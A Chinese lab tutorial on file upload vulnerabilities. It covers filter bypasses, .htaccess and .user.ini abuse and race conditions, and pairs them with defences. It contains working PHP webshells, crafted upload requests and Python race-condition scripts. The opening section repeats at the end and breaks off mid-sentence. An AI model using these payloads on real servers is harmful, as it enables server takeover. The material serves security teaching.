本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念一、什么是文件上传漏洞二、漏洞产生的根本原因三、漏洞危害四、典型攻击流程五、常见绕过方式六、防御建议七、经典漏洞示例DVWA Low 级别八、总结二、前端过滤绕过一、常见的前端过滤方式二、前端过滤的核心缺陷三、绕过前端过滤的典型步骤以图片上传为例四、前端过滤的唯一正确用途五、安全开发建议六、靶场演示前端验证三、后端文件类型绕过一、定义二、核心原理三、常见后端文件类型绕过方法1. MIME 类型绕过修改 Content-Type2. 文件头魔数伪造图片马/文档马3. 组合利用伪造头部 修改扩展名4. 利用文件内容检测的局限性四、与“后端文件扩展名绕过”的区别五、防御措施针对后端文件类型绕过六、总结七、靶场演示MIME绕过文件头检测四、后端文件扩展名绕过一、定义二、核心原理三、常见扩展名绕过方法四、典型攻击流程以黑名单为例五、与“后端文件类型绕过”的区别六、防御措施七、总结八、靶场演示00截断双写绕过五、配置文件漏洞一、核心原理二、常见可被利用的配置文件三、典型攻击步骤以 .htaccess 为例四、其他配置文件漏洞利用变种五、防御措施六、总结七、靶场演示.htaccess六、条件竞争一、什么是条件竞争漏洞二、漏洞产生的原因三、常见的条件竞争攻击场景场景1上传后检查前被访问场景2先保存后重命名/移动场景3分块上传与合并四、典型攻击代码示例Python 脚本五、漏洞实例DVWA 等靶场六、修复与防御措施七、总结八、靶场演示一、漏洞概述二、漏洞代码分析三、攻击步骤Step 1构造恶意上传文件test.phpStep 2准备并发上传工具Step 3启动并发上传攻击Step 4同时访问上传的临时文件Step 5写入WebShell并验证一、概念一、什么是文件上传漏洞文件上传漏洞是指 Web 应用程序在处理用户上传的文件时未对文件的类型、内容、大小等进行严格校验导致攻击者可以上传恶意文件如 WebShell、恶意脚本、可执行文件等并通过后续访问该文件在服务器上执行任意代码从而完全控制服务器。简单来说你允许用户上传头像、附件、文档但没检查上传的是不是真的图片/文档攻击者就能上传一个“披着图片外衣”的木马。二、漏洞产生的根本原因缺乏有效的文件类型校验仅通过Content-Type如image/jpeg判断攻击者可轻易伪造。仅检查文件扩展名如.jpg攻击者可双扩展名或利用解析漏洞绕过。文件内容未进行深度检查未检查文件头Magic Number攻击者可伪造GIF89a头部后面跟恶意代码。上传后的文件可被访问或执行文件保存在 Web 可访问目录如uploads/且服务器将其作为脚本解析如 PHP、ASP、JSP。缺乏重命名或隔离存储直接保留原始文件名攻击者可利用路径遍历../覆盖系统文件。三、漏洞危害危害等级具体影响高危上传 WebShell如webshell.php获取服务器控制权 → 读取/修改所有文件、提权、内网渗透高危上传恶意脚本执行系统命令如反弹 Shell、下载木马中危上传恶意的 HTML/JS 文件 → 存储型 XSS 攻击或钓鱼页面中危上传大文件耗尽服务器磁盘空间导致拒绝服务低危覆盖已有文件如../../config.php导致业务异常四、典型攻击流程示例PHP WebShell 上传编写shell.php内容?php system($_GET[cmd]); ?将扩展名改为shell.jpg或伪造 Content-Type 为image/jpeg上传成功服务器保存为http://target.com/uploads/shell.jpg攻击者访问http://target.com/uploads/shell.jpg?cmdwhoami如果服务器配置不当如 Apache 将.jpg按 PHP 解析则执行whoami命令并返回结果。五、常见绕过方式防御措施绕过方法仅检查前端 JS 扩展名修改请求包抓包改后缀名检查 Content-Type修改为image/gif等白名单 MIME检查文件头Magic Number在文件开头添加GIF89a后面跟上真实代码黑名单禁止php等扩展名使用.php3,.phtml,.php5或双写.phphpp仅客户端验证直接上传原始恶意文件无防护六、防御建议采用白名单校验只允许特定的扩展名如jpg,png,gif,doc,pdf拒绝所有其他扩展名。检查文件内容使用getimagesize()或读取文件头Magic Number验证真实类型。上传后重命名使用随机字符串如 UUID作为文件名不保留原始名称。隔离存储将文件存储到 Web 根目录之外通过脚本读取并提供下载避免直接 URL 执行。如果必须 Web 可访问设置该目录无脚本执行权限如 Apache 的php_flag engine off。限制文件大小防止大文件上传耗尽资源。使用 Content-Disposition强制浏览器下载而非解析针对 HTML 等文件。七、经典漏洞示例DVWA Low 级别DVWA 的文件上传模块Low?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo 上传失败; } else { echo 文件已上传至 {$target_path}; } } ?没有任何检查 → 直接上传shell.php即可获得 WebShell。八、总结文件上传漏洞本质是信任了用户提供的数据并允许其在服务器上执行。修复的核心原则所有上传的文件都应当被视为潜在的恶意文件必须经过严格的类型校验、重命名、隔离存储并禁止直接执行。二、前端过滤绕过前端过滤指的是 Web 应用在浏览器端通过 JavaScript、HTML 属性等对用户上传的文件进行初步检查例如限制文件扩展名、文件类型或大小。它只能提供用户体验上的便利无法作为真正的安全防护因为攻击者可以轻松绕过前端限制。一、常见的前端过滤方式类型实现方式示例扩展名限制HTMLaccept属性input typefile acceptimage/jpeg,image/pngJavaScript 校验JS 读取文件扩展名或 MIME 类型不符合则阻止提交if(!/\.(jpg|png)$/i.test(fileName)) { alert(只允许图片); }前端文件类型检测读取File对象的type属性基于 MIMEif(file.type ! image/jpeg) { alert(非法类型); }前端大小限制检查file.size属性if(file.size 2*1024*1024) { alert(文件超过2MB); }二、前端过滤的核心缺陷所有前端验证都可以被绕过因为攻击者完全可以控制 HTTP 请求的构造。浏览器执行的前端校验仅发生在用户本地攻击者可以通过以下方法轻松绕过直接篡改 HTTP 请求使用 Burp Suite、Fiddler 等代理工具拦截上传请求将文件名、Content-Type 等修改为符合后端要求的格式而实际发送的却是恶意文件内容。禁用或修改 JavaScript使用浏览器开发者工具删除相关校验函数。在浏览器设置中禁用 JavaScript使前端校验代码完全不执行。修改accept属性或绕过File对象的检查。构造自定义 HTTP 请求直接用curl、Postman 等工具发送 POST 请求完全绕过浏览器环境自定义上传参数。三、绕过前端过滤的典型步骤以图片上传为例准备恶意文件编写一个shell.php或shell.jpg.php内容为?php system($_GET[cmd]); ?。修改文件名在拦截的请求中将filenameshell.php改为filenameshell.jpg如果后端仅检查扩展名。 或将Content-Type改为image/jpeg。发送请求转发修改后的请求文件内容依然是恶意脚本但前后端看到的文件“类型”符合预期。POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg ?php system($_GET[cmd]); ? ------WebKitFormBoundary--如果服务器未做严格后端校验这个shell.jpg就可能被保存并以 PHP 解析执行。四、前端过滤的唯一正确用途前端过滤只能用于提升用户体验例如提醒用户上传正确的文件格式减少无效提交。在文件过大时提前提示避免网络传输浪费。永远不要依赖前端过滤来阻止恶意文件上传。安全必须建立在后端校验上。五、安全开发建议校验点正确实现方式文件扩展名后端使用白名单如[jpg,png]拒绝所有其他扩展名。MIME 类型后端检测$_FILES[file][type]不可信应读取文件真实魔数如finfo_file。文件内容图片文件调用getimagesize()文本文件检测是否有危险函数。存储方式重命名为随机字符串如md5(time())上传目录禁止脚本执行如.htaccess设置php_flag engine off。大小限制后端配置upload_max_filesize及post_max_size。六、靶场演示以ctfhub靶场为例前端验证这个前端验证不能直接上传木马文件f12看源代码只能上传jpgphggif文件所以要把木马文件改一下用bp抓包再把jpg改成php放包上传用蚁剑测试连接找flag文件找到flag三、后端文件类型绕过一、定义后端文件类型绕过是指攻击者通过伪造或篡改文件的内容特征如 MIME 类型、文件头魔数等使后端程序在检查文件类型时将其误判为合法类型如图片、文档从而绕过服务器端基于文件类型的安全校验成功上传恶意文件如 WebShell的技术。简单来说欺骗服务器让它相信你上传的是一张图片或一个 PDF而实际上里面藏着可执行的脚本代码。二、核心原理后端在接收文件时通常会通过以下几种方式判断文件的“真实类型”检查方式依赖数据可被伪造$_FILES[file][type]客户端发送的Content-Type头极易伪造文件扩展名文件名后缀不属于“类型”检查属于扩展名检查文件头魔数文件开头的若干字节如FF D8 FF表示 JPEG可伪造调用finfo_file()/getimagesize()读取文件真实内容可伪造仅头部绕过的关键在于后端往往只检查文件的前几个字节或客户端提供的Content-Type而不会完整解析文件内容。攻击者可以在恶意文件的开头插入合法的文件头使校验函数误判。三、常见后端文件类型绕过方法1. MIME 类型绕过修改Content-Type场景后端仅检查$_FILES[file][type]是否在白名单内例如image/jpeg、image/png。绕过使用 Burp Suite 拦截上传请求将Content-Type改为允许的值而文件内容保持不变恶意脚本。示例Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg ← 伪造为图片类型2. 文件头魔数伪造图片马/文档马场景后端调用finfo_file()、getimagesize()或检查文件开头的魔术数字。绕过在恶意文件前插入合法文件头。例如图片马GIF89a?php system($_GET[cmd]); ?PDF 马%PDF-1.4 ... ?php ... ?原理getimagesize()读取到GIF89a会返回合法图片信息但后续的 PHP 代码在特定条件下仍可被执行如服务器将图片当作脚本解析、或包含漏洞。3. 组合利用伪造头部 修改扩展名场景后端同时检查扩展名白名单和文件头。绕过上传shell.jpg文件头伪造为FF D8 FFJPEG内容为 PHP 代码。扩展名和头部都符合图片要求但文件内嵌脚本。后续利用如果服务器配置错误如.htaccess将.jpg也作为 PHP 解析或者存在本地文件包含漏洞即可执行。4. 利用文件内容检测的局限性某些后端只检查文件头而忽略文件其余部分。攻击者可在头部之后添加大量垃圾数据再插入真实脚本绕过简单的字符串匹配。对于 PDF、DOCX 等复合文档攻击者可将恶意宏或脚本嵌入正常文档中保持文件类型特征不变。四、与“后端文件扩展名绕过”的区别对比项后端文件类型绕过后端文件扩展名绕过攻击目标针对文件的内容特征MIME、魔数针对文件名的后缀扩展名典型方法修改Content-Type、伪造文件头双扩展名、00截断、大小写混淆、利用黑名单遗漏检测依据文件实际字节内容文件名字符串绕过后果服务器将恶意文件误认为合法类型而接收服务器允许非法扩展名上传两者可能同时使用例如上传一个文件扩展名伪装成.jpg文件头也伪装成GIF89a最终获得一个图片马。五、防御措施针对后端文件类型绕过不要信任客户端提供的 MIME忽略$_FILES[file][type]改用后端真实检测。深度检查文件头不仅检查前几个字节还应验证文件整个签名如 PNG 需要检查多个 chunk。对图片进行二次渲染使用 GD 或 Imagick 重新生成图片彻底消除恶意嵌入代码。使用多维度白名单文件扩展名 文件头 文件内容特征如图片尺寸、PDF 结构三者同时匹配才放行。隔离存储与执行上传文件存放于 Web 目录之外通过脚本输出上传目录禁止脚本执行。六、总结后端文件类型绕过的本质是服务器对文件真实类型的判定逻辑存在盲点攻击者可以利用这些盲点让一个恶意文件通过“类型检查”并被存储到服务器上。成功的绕过通常还需要配合解析漏洞或包含漏洞才能造成实际危害。安全地实现文件上传必须将内容检测与存储隔离相结合而非依赖任何单一校验点七、靶场演示MIME绕过这个也不能直接上传木马文件需要抓包修改第17行的值改成image/png放包再上传用蚁剑测试连接找到flag文件头检测这个必须搞一个图片木马才能绕过截一个小图片把图片和木马结合到一块cat mm.png mm.php mm_shell.png继续进行上传抓包把png改成phpurl和路径结合蚁剑测试连接得到flag四、后端文件扩展名绕过一、定义后端文件扩展名绕过是指攻击者通过构造特殊的文件名使后端程序在检查文件扩展名时产生错误判断例如将恶意文件判断为允许上传的类型从而绕过基于扩展名的安全校验成功上传可执行脚本如 WebShell的攻击技术。简单来说欺骗服务器让它以为你上传的是.jpg或.png而实际保存下来的文件名却是.php或.asp。二、核心原理后端通常通过获取文件名中的扩展名如pathinfo($filename, PATHINFO_EXTENSION)并与黑名单/白名单比对来决定是否允许上传。攻击者利用以下差异实现绕过验证逻辑与保存逻辑不一致后端检查时看到的扩展名是合法的但实际保存到服务器时的文件名却是恶意的。黑名单覆盖不全某些可执行扩展名未被禁止。字符串处理缺陷大小写、双写、截断等导致过滤失效。三、常见扩展名绕过方法绕过方法原理示例文件名效果黑名单不完整仅禁止.php未禁止其他 PHP 扩展名shell.php5、shell.phtml文件被保存为.php5仍可被 PHP 解析大小写混淆黑名单只检查小写未做归一化shell.PhP若系统大小写不敏感如 Windows保存后仍可作为 PHP 执行双扩展名解析顺序差异后端只检查最后一个点后的后缀而某些服务器解析机制使用第一个后缀shell.jpg.php后端检查到.php被拦截但若检查第一个点shell.php.jpg被误判为.jpg而放行服务器却可能执行.php部分特殊字符截断00截断使用%00或0x00截断字符串导致检查时只看到合法扩展名shell.php%00.jpg后端检测.jpg通过但 C 类函数保存时截断为shell.php双写绕过黑名单删除一次危险关键字后剩余部分仍构成危险扩展名shell.pphphp过滤php后剩下shell.php文件系统特性Windows末尾的.或空格被自动去除shell.php.检查时扩展名为空或.被忽略保存后变为shell.php利用 NTFS 流文件文件名包含:检查时忽略流名保存时生成流文件shell.php:jpg检查扩展名为jpg实际写入shell.php流文件四、典型攻击流程以黑名单为例探测黑名单尝试上传test.php→ 被拦截上传test.php5→ 成功。说明黑名单未包含.php5。上传 WebShell将?php system($_GET[cmd]); ?命名为shell.php5上传。获取访问路径假设上传目录为/uploads/shell.php5。执行命令访问http://target.com/uploads/shell.php5?cmdwhoami获得系统权限。五、与“后端文件类型绕过”的区别对比项后端文件扩展名绕过后端文件类型绕过攻击目标文件名的后缀字符串文件的内容特征MIME、魔数检查依据$_FILES[name]中的扩展名文件头或客户端Content-Type典型方法双扩展名、00截断、双写、大小写、利用系统特性伪造 MIME、图片马、PDF 马绕过后果非法扩展名被允许上传恶意文件被误判为合法类型两者可组合使用攻击者可能同时伪造扩展名如.jpg和文件头GIF89a上传一个“图片马”。六、防御措施使用白名单而非黑名单只允许业务必需的少数扩展名如.jpg,.png,.pdf拒绝其他所有后缀。归一化处理将文件名转为小写、去除末尾点/空格、过滤控制字符后再校验。严格白名单匹配不允许任何不在列表中的扩展名包括.php5、.phtml等变种。重命名文件上传后使用随机字符串如UUID.jpg重新命名不保留原始文件名。禁用危险解析上传目录配置禁止脚本执行如 Apache 的php_flag engine off。多层校验扩展名 文件头 内容检测组合使用。七、总结后端文件扩展名绕过本质是利用文件名处理逻辑的缺陷或配置的疏忽让恶意脚本以“合法”的名义入驻服务器。最有效的防御是白名单 重命名 存储隔离彻底消除扩展名带来的风险。八、靶场演示00截断导入mm.jpg修改放包上传可能不显示上传路径手动添加一下跟上面操作一样用蚁剑测试连接找到flag双写绕过上传php木马抓包把php改成pphphp放包用蚁剑测试连接成功找到flag五、配置文件漏洞配置文件漏洞是文件上传漏洞的一种特殊利用方式。攻击者通过上传特定的配置文件如.htaccess、web.config、httpd.conf等来改变服务器对文件解析的行为从而使之前上传的普通文件如图片、文本被当作脚本执行或直接执行恶意代码。一、核心原理Web 服务器如 Apache、Nginx、IIS允许在特定目录下放置配置文件用于覆盖全局设置。如果网站的上传功能没有限制文件类型攻击者可以上传一个恶意的配置文件并利用它将任意扩展名的文件如.jpg当作 PHP 或 ASP 脚本解析。开启服务器目录列表方便访问上传的其他恶意文件。修改错误处理、重定向规则等辅助钓鱼或攻击。成功上传配置文件后攻击者再上传一个内容为恶意脚本的“图片马”或“文本文件”由于配置文件已改变解析规则该伪装的普通文件会被服务器当作脚本执行从而获取 WebShell。二、常见可被利用的配置文件配置文件适用服务器作用.htaccessApache目录级配置可覆盖主配置文件。web.configIIS 7.0可控制错误页面、处理程序映射等。httpd.conf/apache2.confApache全局除非上传目录恰好是主配置目录一般无法覆盖。.user.iniPHP (FastCGI 模式)可设置auto_prepend_file等选项自动包含文件。三、典型攻击步骤以.htaccess为例上传.htaccess文件构造一个.htaccess内容AddType application/x-httpd-php .jpg .png .gif该指令使 Apache 将扩展名为.jpg、.png、.gif的文件当作 PHP 脚本解析。绕过文件类型检查如果后端限制了上传文件的扩展名如仅允许图片攻击者可将文件名设为shell.jpg内容为?php system($_GET[cmd]); ?同时可能还需要伪造文件头如GIF89a以通过内容检查。访问触发访问http://target.com/uploads/shell.jpg?cmdid即使文件扩展名为.jpg由于.htaccess的配置服务器仍会以 PHP 执行该文件返回uidwww-data等信息。四、其他配置文件漏洞利用变种配置文件恶意配置示例利用效果web.config(IIS)xmlhandlersadd namephp path*.jpg verb* modulesFastCgiModule scriptProcessorC:\php\php-cgi.exe //handlers将.jpg映射给 PHP 解析器.user.ini(PHP)auto_prepend_file shell.jpg在每个 PHP 文件执行前自动包含shell.jpg该文件内嵌恶意代码.htaccessphp_value auto_prepend_file shell.jpg同上实现自动包含.htaccessOptions Indexes开启目录列表暴露其他上传文件crossdomain.xmlallow-access-from domain* /开启跨域策略可能被用于 CSRF 或信息窃取五、防御措施白名单限制上传文件扩展名坚决不允许上传.htaccess、.ini、.xml、.config等配置文件扩展名。重命名上传文件使用随机字符串如md5(time())重命名并保留安全的扩展名如.jpg完全丢弃原始文件名。设置上传目录禁止执行脚本在 Apache 中使用.htaccess禁用 PHP 引擎php_flag engine off或在 Nginx 中使用location匹配上传目录返回 404 或直接拒绝访问。限制目录配置覆盖范围在 Apache 主配置中设置AllowOverride None禁止使用.htaccess覆盖配置。定期扫描上传目录检查是否存在非预期的配置文件或恶意脚本。文件内容检查对上传的文件内容进行深度扫描防止内嵌恶意代码。六、总结配置文件漏洞是文件上传攻击中威力巨大的一类它不直接上传 WebShell而是通过“改变规则”让服务器为攻击者服务。防御的关键在于严格的扩展名白名单 重命名 上传目录无执行权限三者缺一不可。七、靶场演示.htaccess.htaccess文件用.htaccess为文件名FilesMatch \.jpg$ SetHandler application/x-httpd-php /FilesMatch先上传.htaccess文件再上传图片木马文件把url和上传路径给结合用·蚁剑验证得到flag六、条件竞争一、什么是条件竞争漏洞条件竞争漏洞是指系统在处理多个并发请求时由于代码执行的时序问题导致攻击者能够利用“检查与使用”之间的时间差绕过安全限制。在文件上传场景中条件竞争通常发生在服务器接收到上传的文件后先临时保存然后才进行安全检查如扫描病毒、检测类型、重命名等。在文件被验证之前攻击者能够访问并执行该临时文件。简而言之攻击者抢在服务器“杀死”恶意文件之前抢先触发它的执行。二、漏洞产生的原因典型的不安全代码流程如下接收上传文件保存到服务器临时目录例如/tmp/upload_12345.tmp或最终上传目录。对文件进行安全检查扩展名、MIME、内容扫描等。若检查不通过删除该文件。问题在于从第1步到第3步之间存在一个时间窗口。如果攻击者能够在文件被删除之前发起另一个并发请求访问这个文件如通过已知路径直接请求则恶意代码可能被执行。三、常见的条件竞争攻击场景场景1上传后检查前被访问上传一个shell.php内容为?php system($_GET[cmd]); ?。服务器接收后临时保存在/uploads/目录下或公开可访问的临时路径。同时攻击者编写脚本在上传瞬间不断请求http://target.com/uploads/shell.php?cmdwhoami。如果请求在文件被删除之前到达且服务器配置将该文件作为 PHP 解析则命令执行成功。场景2先保存后重命名/移动某些应用先将文件保存到最终目录再检查后缀发现非法则删除。攻击者可以在删除前访问。场景3分块上传与合并一些应用支持分块上传将文件块暂存后再合并。攻击者可以在合并完成前访问未完成的临时文件。四、典型攻击代码示例Python 脚本import threading import requests upload_url http://target.com/upload.php attack_url http://target.com/uploads/shell.php # 上传恶意文件 files {file: (shell.php, ?php system($_GET[cmd]); ?)} data {submit: upload} def upload(): while True: requests.post(upload_url, filesfiles, datadata) def attack(): while True: r requests.get(attack_url ?cmdwhoami) if r.status_code 200: print(r.text) break # 多线程并发 for i in range(10): threading.Thread(targetupload).start() threading.Thread(targetattack).start()五、漏洞实例DVWA 等靶场DVWA 文件上传模块low/medium上传后直接保存不检查或仅简单检查无删除机制 → 无竞争问题。某些安全插件先上传到临时目录后台扫描扫描通过才移至最终目录。此时存在竞争窗口。六、修复与防御措施措施说明先验证后保存在内存中完成所有检查扩展名、MIME、内容扫描通过后再写入磁盘消除临时文件暴露时间。使用不易猜测的路径将上传文件保存到 Web 目录之外或使用随机字符串命名使攻击者无法直接猜测访问路径。设置临时目录禁止执行脚本临时目录配置.htaccess或php_flag engine off即使被访问也不会执行。文件锁定机制在检查期间对文件加锁检查完成前禁止其他进程读取。原子操作将“写入-检查-移动”设计为原子操作如使用数据库事务或文件系统 rename 配合锁。及时删除减少检查时间尽快删除非法文件。但无法完全消除竞争窗口。七、总结条件竞争是文件上传漏洞中的高级利用技巧它不直接绕过内容检查而是利用服务器处理文件时的逻辑顺序缺陷。防御的核心是在文件写入可访问位置之前完成所有安全检查或者使临时文件无法被攻击者访问/执行。八、靶场演示一、漏洞概述本次测试的目标是一个存在条件竞争Race Condition的文件上传功能。后端PHP代码的缺陷在于先将上传的文件保存到服务器再检查文件扩展名是否在白名单内如果不合法则删除。攻击者可以利用“保存”与“删除”之间的极短时间窗口在文件被删除前抢先访问并执行它从而获得WebShell。二、漏洞代码分析前端后端$ext_arr array(jpg, png, gif); $file_ext end(explode(., $name)); // 获取扩展名 $upload_file ./images/{$name}; if(move_uploaded_file($temp_file, $upload_file)){ // 先移动文件 if(in_array($file_ext, $ext_arr)){ // 后检查扩展名 echo success; }else{ unlink($upload_file); // 不合法则删除 } }问题从move_uploaded_file完成到unlink执行之间存在时间差。攻击者可在此期间访问该文件触发执行。三、攻击步骤Step 1构造恶意上传文件test.php文件内容?php file_put_contents(shell.php, ?php eval($_POST[0]); ?); echo getshell!!!; ?目的该脚本被临时保存后一旦被访问会在当前目录生成一个真正的WebShellshell.php内容为一句话木马密码0。Step 2准备并发上传工具使用Burp Suite Intruder实现无限循环上传。抓包拦截上传test.php的POST请求。发送到IntruderCtrlI。清空Payload位置标记因为不需要替换参数只需重复发送相同请求。Payloads设置Payload type:Null payloads勾选Continue indefinitely无限持续发送Resource pool设置足够高的并发线程数如20。Step 3启动并发上传攻击访问test.php再进行bp抓包发到Intruder进行爆破点击Start attackBurp Suite 开始以极高频率重复上传test.php。如果上传不了那就使用下面脚本访问test.phpimport requests import threading def demo(): req requests.get(http://IP/images/test.php) while True: threading.Thread(targetdemo).start()Step 4同时访问上传的临时文件在并发上传期间使用浏览器或curl反复请求http://靶机IP/images/test.php由于test.php被不断上传并短暂存在总有一次请求会在文件被删除前命中从而触发脚本执行。Step 5写入WebShell并验证成功执行后test.php会在同一目录/images/下生成shell.php。访问http://靶机IP/images/shell.phpPOST参数0phpinfo();即可看到PHP配置信息证明WebShell可用
Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念一、什么是文件上传漏洞二、漏洞产生的根本原因三、漏洞危害四、典型攻击流程五、常见绕过方式六、防御建议七、经典漏洞示例DVWA Low 级别八、总结二、前端过滤绕过一、常见的前端过滤方式二、前端过滤的核心缺陷三、绕过前端过滤的典型步骤以图片上传为例四、前端过滤的唯一正确用途五、安全开发建议六、靶场演示前端验证三、后端文件类型绕过一、定义二、核心原理三、常见后端文件类型绕过方法1. MIME 类型绕过修改 Content-Type2. 文件头魔数伪造图片马/文档马3. 组合利用伪造头部 修改扩展名4. 利用文件内容检测的局限性四、与“后端文件扩展名绕过”的区别五、防御措施针对后端文件类型绕过六、总结七、靶场演示MIME绕过文件头检测四、后端文件扩展名绕过一、定义二、核心原理三、常见扩展名绕过方法四、典型攻击流程以黑名单为例五、与“后端文件类型绕过”的区别六、防御措施七、总结八、靶场演示00截断双写绕过五、配置文件漏洞一、核心原理二、常见可被利用的配置文件三、典型攻击步骤以 .htaccess 为例四、其他配置文件漏洞利用变种五、防御措施六、总结七、靶场演示.htaccess六、条件竞争一、什么是条件竞争漏洞二、漏洞产生的原因三、常见的条件竞争攻击场景场景1上传后检查前被访问场景2先保存后重命名/移动场景3分块上传与合并四、典型攻击代码示例Python 脚本五、漏洞实例DVWA 等靶场六、修复与防御措施七、总结八、靶场演示一、漏洞概述二、漏洞代码分析三、攻击步骤Step 1构造恶意上传文件test.phpStep 2准备并发上传工具Step 3启动并发上传攻击Step 4同时访问上传的临时文件Step 5写入WebShell并验证一、概念一、什么是文件上传漏洞文件上传漏洞是指 Web 应用程序在处理用户上传的文件时未对文件的类型、内容、大小等进行严格校验导致攻击者可以上传恶意文件如 WebShell、恶意脚本、可执行文件等并通过后续访问该文件在服务器上执行任意代码从而完全控制服务器。简单来说你允许用户上传头像、附件、文档但没检查上传的是不是真的图片/文档攻击者就能上传一个“披着图片外衣”的木马。二、漏洞产生的根本原因缺乏有效的文件类型校验仅通过Content-Type如image/jpeg判断攻击者可轻易伪造。仅检查文件扩展名如.jpg攻击者可双扩展名或利用解析漏洞绕过。文件内容未进行深度检查未检查文件头Magic Number攻击者可伪造GIF89a头部后面跟恶意代码。上传后的文件可被访问或执行文件保存在 Web 可访问目录如uploads/且服务器将其作为脚本解析如 PHP、ASP、JSP。缺乏重命名或隔离存储直接保留原始文件名攻击者可利用路径遍历../覆盖系统文件。三、漏洞危害危害等级具体影响高危上传 WebShell如webshell.php获取服务器控制权 → 读取/修改所有文件、提权、内网渗透高危上传恶意脚本执行系统命令如反弹 Shell、下载木马中危上传恶意的 HTML/JS 文件 → 存储型 XSS 攻击或钓鱼页面中危上传大文件耗尽服务器磁盘空间导致拒绝服务低危覆盖已有文件如../../config.php导致业务异常四、典型攻击流程示例PHP WebShell 上传编写shell.php内容?php system($_GET[cmd]); ?将扩展名改为shell.jpg或伪造 Content-Type 为image/jpeg上传成功服务器保存为http://target.com/uploads/shell.jpg攻击者访问http://target.com/uploads/shell.jpg?cmdwhoami如果服务器配置不当如 Apache 将.jpg按 PHP 解析则执行whoami命令并返回结果。五、常见绕过方式防御措施绕过方法仅检查前端 JS 扩展名修改请求包抓包改后缀名检查 Content-Type修改为image/gif等白名单 MIME检查文件头Magic Number在文件开头添加GIF89a后面跟上真实代码黑名单禁止php等扩展名使用.php3,.phtml,.php5或双写.phphpp仅客户端验证直接上传原始恶意文件无防护六、防御建议采用白名单校验只允许特定的扩展名如jpg,png,gif,doc,pdf拒绝所有其他扩展名。检查文件内容使用getimagesize()或读取文件头Magic Number验证真实类型。上传后重命名使用随机字符串如 UUID作为文件名不保留原始名称。隔离存储将文件存储到 Web 根目录之外通过脚本读取并提供下载避免直接 URL 执行。如果必须 Web 可访问设置该目录无脚本执行权限如 Apache 的php_flag engine off。限制文件大小防止大文件上传耗尽资源。使用 Content-Disposition强制浏览器下载而非解析针对 HTML 等文件。七、经典漏洞示例DVWA Low 级别DVWA 的文件上传模块Low?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo 上传失败; } else { echo 文件已上传至 {$target_path}; } } ?没有任何检查 → 直接上传shell.php即可获得 WebShell。八、总结文件上传漏洞本质是信任了用户提供的数据并允许其在服务器上执行。修复的核心原则所有上传的文件都应当被视为潜在的恶意文件必须经过严格的类型校验、重命名、隔离存储并禁止直接执行。二、前端过滤绕过前端过滤指的是 Web 应用在浏览器端通过 JavaScript、HTML 属性等对用户上传的文件进行初步检查例如限制文件扩展名、文件类型或大小。它只能提供用户体验上的便利无法作为真正的安全防护因为攻击者可以轻松绕过前端限制。一、常见的前端过滤方式类型实现方式示例扩展名限制HTMLaccept属性input typefile acceptimage/jpeg,image/pngJavaScript 校验JS 读取文件扩展名或 MIME 类型不符合则阻止提交if(!/\.(jpg|png)$/i.test(fileName)) { alert(只允许图片); }前端文件类型检测读取File对象的type属性基于 MIMEif(file.type ! image/jpeg) { alert(非法类型); }前端大小限制检查file.size属性if(file.size 2*1024*1024) { alert(文件超过2MB); }二、前端过滤的核心缺陷所有前端验证都可以被绕过因为攻击者完全可以控制 HTTP 请求的构造。浏览器执行的前端校验仅发生在用户本地攻击者可以通过以下方法轻松绕过直接篡改 HTTP 请求使用 Burp Suite、Fiddler 等代理工具拦截上传请求将文件名、Content-Type 等修改为符合后端要求的格式而实际发送的却是恶意文件内容。禁用或修改 JavaScript使用浏览器开发者工具删除相关校验函数。在浏览器设置中禁用 JavaScript使前端校验代码完全不执行。修改accept属性或绕过File对象的检查。构造自定义 HTTP 请求直接用curl、Postman 等工具发送 POST 请求完全绕过浏览器环境自定义上传参数。三、绕过前端过滤的典型步骤以图片上传为例准备恶意文件编写一个shell.php或shell.jpg.php内容为?php system($_GET[cmd]); ?。修改文件名在拦截的请求中将filenameshell.php改为filenameshell.jpg如果后端仅检查扩展名。 或将Content-Type改为image/jpeg。发送请求转发修改后的请求文件内容依然是恶意脚本但前后端看到的文件“类型”符合预期。POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg ?php system($_GET[cmd]); ? ------WebKitFormBoundary--如果服务器未做严格后端校验这个shell.jpg就可能被保存并以 PHP 解析执行。四、前端过滤的唯一正确用途前端过滤只能用于提升用户体验例如提醒用户上传正确的文件格式减少无效提交。在文件过大时提前提示避免网络传输浪费。永远不要依赖前端过滤来阻止恶意文件上传。安全必须建立在后端校验上。五、安全开发建议校验点正确实现方式文件扩展名后端使用白名单如[jpg,png]拒绝所有其他扩展名。MIME 类型后端检测$_FILES[file][type]不可信应读取文件真实魔数如finfo_file。文件内容图片文件调用getimagesize()文本文件检测是否有危险函数。存储方式重命名为随机字符串如md5(time())上传目录禁止脚本执行如.htaccess设置php_flag engine off。大小限制后端配置upload_max_filesize及post_max_size。六、靶场演示以ctfhub靶场为例前端验证这个前端验证不能直接上传木马文件f12看源代码只能上传jpgphggif文件所以要把木马文件改一下用bp抓包再把jpg改成php放包上传用蚁剑测试连接找flag文件找到flag三、后端文件类型绕过一、定义后端文件类型绕过是指攻击者通过伪造或篡改文件的内容特征如 MIME 类型、文件头魔数等使后端程序在检查文件类型时将其误判为合法类型如图片、文档从而绕过服务器端基于文件类型的安全校验成功上传恶意文件如 